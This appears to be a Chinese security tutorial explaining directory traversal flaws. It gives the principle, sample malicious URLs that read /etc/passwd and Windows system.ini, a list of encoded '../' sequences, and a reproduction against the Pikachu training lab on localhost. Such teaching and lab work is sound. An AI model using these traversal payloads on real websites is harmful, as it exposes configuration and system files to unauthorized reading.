目录遍历介绍:
目录遍历(也称:路径遍历、目录穿越、路径穿越)是一种 web 安全漏洞,由于 web 服务器或 Web 应用程序存在配置缺陷,使得攻击者通过利用一些特殊字符(如../
)绕过服务器的安全限制,导致网站目录可以被任意浏览,访问任意的文件,比如数据库备份文件、配置文件等,攻击者利用该信息可以为进一步入侵网站做准备。
漏洞原理:
目录遍历漏洞原理比较简单,就是程序在实现上没有充分过滤用户输入的../
之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。这里的目录跳转符可以是../
,也可是../
的ASCII编码或者是unicode编码等。
正常读取文件的url:
http://www.test.com/my.php?file=1.html
恶意url:
http://www.test.com/my.php?file=../../Windows.system.ini
目录遍历漏洞通过../../../
这样的形式来进行目录读取服务器中的文件,../../../../
越多越好(linux下),因为在根目录中使用../
会返回当前页面。
目录遍历漏洞的探针,也就是测试的时候往往使用这样的payload:
http://www.xxxx.com/xxx.php?page=../../../../../../../../../../../../../etc/passwd
常见穿越符号:
Windows
../
..\
%2e%2e%2f
%2e%2e%5c
\u002e\u002e\u002f
\u002e\u002e\u005c
Linux
../
%2e%2e%2f
\u002e\u002e\u002f
漏洞位置:
大多出现在文件读取、下载或者展示图片,等需要对文件进行交互的地方。
靶场复现:
这里使用的是 pikahcu 靶场 。
进来看到两个链接,点击两个链接, 分别指向两个php文件,:
若把 dir_list.php 文件去掉, 直接列出了dir文件夹下的所有文件:
这并不算是目录遍历,是因为开启了目录浏览。
尝试一下对 title 变量加入上一级目录../
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../README.md
访问敏感文件:
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../../../mysql/my.ini
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../../Windows/system.ini
linux下同理。